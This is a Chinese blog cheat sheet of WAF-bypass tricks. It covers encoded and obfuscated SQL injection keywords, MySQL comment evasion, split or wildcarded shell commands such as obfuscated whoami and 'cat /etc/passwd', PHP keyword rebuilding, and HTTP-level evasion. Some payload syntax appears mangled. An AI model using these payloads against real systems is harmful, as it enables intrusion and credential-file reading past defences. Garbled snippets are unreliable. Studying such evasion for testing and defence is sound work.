一些简单的绕过总结

IconC / 2024-03-22 / 原文

一些简单的绕过总结

对关键字进行不同编码

  • select * from zzz = select * from %257a%257a%257a //url编码
  • 单引号 = %u0027、%u02b9、%u02bc // Unicode编码
  • adminuser = 0x61646D696E75736572 // 部分十六进制编码
  • 空格 = %20 %09 %0a %0b %0c %0d %a0 //各类编码

对关键字进行大小写变换

  • union select = uNIoN sELecT

通过其他语义相同的关键字替换

  • And = &&
  • Or = ||
  • 等于 = like 或综合<与>判断
  • if(a,b,c) = case when(A) then B else C end
  • substr(str,1,1) = substr (str) from 1 for 1
  • limit 1,1 = limit 1 offset 1
  • Union select 1,2 = union select * from ((select 1)A join (select 2)B;
  • hex()、bin() = ascii()
  • sleep() = benchmark()
  • concat_ws() = group_concat()
  • mid()、substr() = substring()
  • @@user = user()
  • @@datadir = datadir()

配合Windows特性

  • whoami = ((((Whoam""i)))) //利用符号分割字符执行whoami
  • whoami = set a=net&&b=user&&call %a%%b% //利用变量分割关键字执行whoami
  • set a=123whoami456 // 为了方便演示这里设置一个变量
  • echo %a:~3,6% // 取出变量a的第3位开始共计6个字符
  • %a:~3,6% //执行取出的值,通过截取系统变量然后拼接可以绕过大部分检测

配合Linux特性

  • whoami = w'h'o'a'm"i" //单引号或双引号连接符,需要闭合
  • Cat /etc/passwd = cat /?t/??ss** //?,通配符
  • whoami = /b[12312i]n/w[23sh]oa[2msh]i //[] 通配符,匹配【】中的字符
  • Whoami = a=who&&b=ami&&$a$b //当然linux下也可以变量拼接
  • cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd //目录穿越, /被拦截

配合Mysql特性

  • /**/数据库注释符,中间部分被注释,可用于截断关键字,干扰waf匹配。
    • User() = user//() // 注释符//也可以用于替换空格
    • Union select = /95554/Union/test123/select
  • /!/内敛注释,中间部分继续执行,mysql特有。
    • User() = /!user/123/()/ // /!/内部继续执行
    • Union select = /!union//123//!select/ //组合
  • %0a换行与#单行注释符配合使用。
    • Union select = union#A%0aselect //用#注释,再用%0a逃出注释继续执行后面语句

配合过滤代码或漏洞本身

  • 关键字被过滤,双写关键字。
    • and = anandd //将关键字过滤掉后剩下的内容组成新的关键字
  • 通过chr()函数变换关键字。
    • phpinfo() = chr (80).chr (72).chr (80).chr (73).chr (78).chr (70).chr (79).chr (40).chr (41) //将acsii码通过chr()函数转换回来
  • 通过base_convert() 函数变换关键字。
    • phpinfo = base_convert(27440799224,10,32) //从10进制转换成32进制

http协议绕过

  • Content-Type绕过
    • application/x-www-form-urlencoded è multipart/form-data
  • HTTP请求方式绕过
    • get改为post
  • keep-alive(Pipeline)绕过
    • 将恶意代码隐藏在第n个请求中,绕过waf
  • 分块传输绕过
    • 将关键字and,or,select ,union等关键字拆开编码
  • 修改编码方式:Charset绕过
    • 大部分的WAF默认用UTF8编码检测

网络结构绕过

  • 直接对源地址发起攻击,流量不会经过waf,从而成功绕过